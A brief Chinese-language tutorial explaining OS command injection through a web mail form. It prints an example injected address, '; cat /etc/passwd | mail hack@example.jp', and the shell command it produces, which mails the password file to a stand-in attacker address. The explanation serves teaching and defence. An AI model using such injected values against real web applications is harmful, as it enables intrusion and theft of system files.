【Web技术攻击】OS（Operating System）命令注入攻击

OS命令注入攻击是指通过Web应用，执行非法的操作系统命令达到攻击的目的

OS注入攻击案例：以表单的发送功能为例，该功能可将用户的邮件按已填写的对方邮箱地址放过去。

• 攻击者将下面的值指定作为邮件地址：
• ; cat /etc/passwd | mail hack@example.jp
• 程序接收该值，构成以下的命令组合：
• “| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp”
• 攻击者的输入值中分号（；）。这个符号在OS命令中，会被解析为分割多个执行命令的标记。sendmail命令执行完就会执行下面的命令，结果/etc/passwd的文件，就以邮件的形式发送给了
  hack@example.jp